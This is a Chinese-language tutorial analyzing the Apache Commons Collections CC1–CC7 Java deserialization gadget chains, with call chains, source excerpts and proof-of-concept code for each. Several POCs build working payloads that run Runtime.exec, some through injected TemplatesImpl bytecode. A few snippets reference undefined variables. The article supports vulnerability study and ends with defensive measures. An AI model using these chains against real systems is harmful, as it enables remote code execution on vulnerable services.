Apache Commons Collections 反序列化漏洞分析 (1-7)
前言
本文详细分析 Apache Commons Collections 1-7 反序列化漏洞利用链,涵盖各版本漏洞原理、调用链分析和完整POC实现。前置知识包括 Java 反序列化、动态代理和 Javassist 字节码操作等。
CommonsCollections1 分析
漏洞原理
利用 AnnotationInvocationHandler 的 readObject 方法触发动态代理调用,通过 LazyMap.get() 方法执行 Transformer 链,最终实现任意命令执行。
调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键代码分析
- InvokerTransformer.transform - 反射调用任意方法
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
- ChainedTransformer.transform - 链式执行多个 Transformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
- LazyMap.get - 触发 Transformer 执行
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
POC 实现
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
Map map1 = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(), invocationHandler);
Object object = constructor.newInstance(Override.class, map1);
// 序列化和反序列化触发
CommonsCollections2 分析
漏洞原理
利用 PriorityQueue 的 readObject 方法触发 TransformingComparator.compare,通过 InvokerTransformer 调用 TemplatesImpl 的 newTransformer 方法执行恶意字节码。
调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键代码分析
- PriorityQueue.readObject - 反序列化入口
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 读取元素
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify(); // 触发比较
}
- TransformingComparator.compare - 触发 Transformer
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
- TemplatesImpl.defineTransletClasses - 加载恶意字节码
private void defineTransletClasses() {
// 通过 ClassLoader 定义类
_class[i] = loader.defineClass(_bytecodes[i]);
}
POC 实现
// 生成恶意字节码
ClassPool classPool = ClassPool.getDefault();
CtClass payload = classPool.makeClass("EvilClass");
payload.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
// 设置 TemplatesImpl
Object templatesImpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")
.getDeclaredConstructor().newInstance();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl, new byte[][]{bytes});
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl, "test");
// 构造 Transformer 链
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
// 设置 PriorityQueue
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field comparatorField = queue.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue, new Object[]{templatesImpl, templatesImpl});
// 序列化和反序列化触发
CommonsCollections3 分析
漏洞原理
结合 CC1 的动态代理链和 CC2 的 TemplatesImpl,使用 InstantiateTransformer 实例化 TrAXFilter 触发 TemplatesImpl.newTransformer。
调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter 构造函数
TemplatesImpl.newTransformer()
... 执行恶意字节码
关键代码分析
- InstantiateTransformer.transform - 实例化任意类
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
- TrAXFilter 构造函数 - 触发 newTransformer
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_transformer = (TransformerImpl) templates.newTransformer();
}
POC 实现
// 生成恶意字节码 (同CC2)
// 设置 TemplatesImpl (同CC2)
// 构造 Transformer 链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templatesImpl});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
// 创建动态代理 (同CC1)
// 序列化和反序列化触发
CommonsCollections4 分析
漏洞原理
与 CC2 类似,但使用 InstantiateTransformer 替代 InvokerTransformer 触发 TemplatesImpl。
调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter 构造函数
TemplatesImpl.newTransformer()
... 执行恶意字节码
POC 实现
// 生成恶意字节码 (同CC2)
// 设置 TemplatesImpl (同CC2)
// 构造 Transformer 链
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templatesImpl});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chainedTransformer);
// 设置 PriorityQueue (同CC2)
// 序列化和反序列化触发
CommonsCollections5 分析
漏洞原理
利用 BadAttributeValueExpException 的 readObject 方法触发 TiedMapEntry.toString,进而调用 LazyMap.get 执行 Transformer 链。
调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
... 执行命令
关键代码分析
- BadAttributeValueExpException.readObject - 反序列化入口
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
Object valObj = gf.get("val", null);
val = valObj.toString(); // 触发 toString
}
- TiedMapEntry.getValue - 触发 LazyMap.get
public Object getValue() {
return this.map.get(this.key);
}
POC 实现
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
// 通过反射设置 val 字段
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);
// 序列化和反序列化触发
CommonsCollections6 分析
漏洞原理
利用 HashSet 的 readObject 方法触发 HashMap.put,进而通过 hashCode 和 equals 调用 TiedMapEntry.getValue 执行 Transformer 链。
调用链
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
... 执行命令
关键代码分析
- HashSet.readObject - 反序列化入口
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
map.put(e, PRESENT); // 触发 HashMap.put
}
- HashMap.hash - 触发 hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
POC 实现
// 构造 Transformer 链 (同CC5)
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
// 移除测试键防止干扰
lazyMap.remove("test1");
// 通过反射设置真正的 Transformer 链
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);
// 序列化和反序列化触发
CommonsCollections7 分析
漏洞原理
利用 Hashtable 的 readObject 方法触发 reconstitutionPut,通过 equals 比较触发 LazyMap.get 执行 Transformer 链。
调用链
ObjectInputStream.readObject()
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
... 执行命令
关键代码分析
- Hashtable.reconstitutionPut - 触发 equals
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
- AbstractMap.equals - 触发 get
public boolean equals(Object o) {
if (!value.equals(m.get(key)))
return false;
}
POC 实现
// 构造 Transformer 链 (同CC5)
Map map1 = new HashMap();
Map map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(map1, new ChainedTransformer(new Transformer[]{}));
Map lazyMap2 = LazyMap.decorate(map2, new ChainedTransformer(new Transformer[]{}));
// 设置不同键触发比较
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// 清理测试数据
lazyMap2.remove("yy");
// 通过反射设置真正的 Transformer 链
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);
// 序列化和反序列化触发
总结
-
CC1-CC7 核心思想:通过反序列化触发特定类的特定方法,最终执行 Transformer 链或加载恶意字节码。
-
主要触发点:
- AnnotationInvocationHandler.readObject (CC1, CC3)
- PriorityQueue.readObject (CC2, CC4)
- BadAttributeValueExpException.readObject (CC5)
- HashSet.readObject (CC6)
- Hashtable.readObject (CC7)
-
执行方式:
- InvokerTransformer 反射调用 (CC1, CC2, CC5-7)
- InstantiateTransformer 实例化触发 (CC3, CC4)
- TemplatesImpl 字节码加载 (CC2-4)
-
防御措施:
- 升级 Commons Collections 到安全版本
- 使用 Java 反序列化过滤器
- 避免反序列化不可信数据
参考
- https://www.freebuf.com/articles/web/214096.html
- https://xz.aliyun.com/t/7157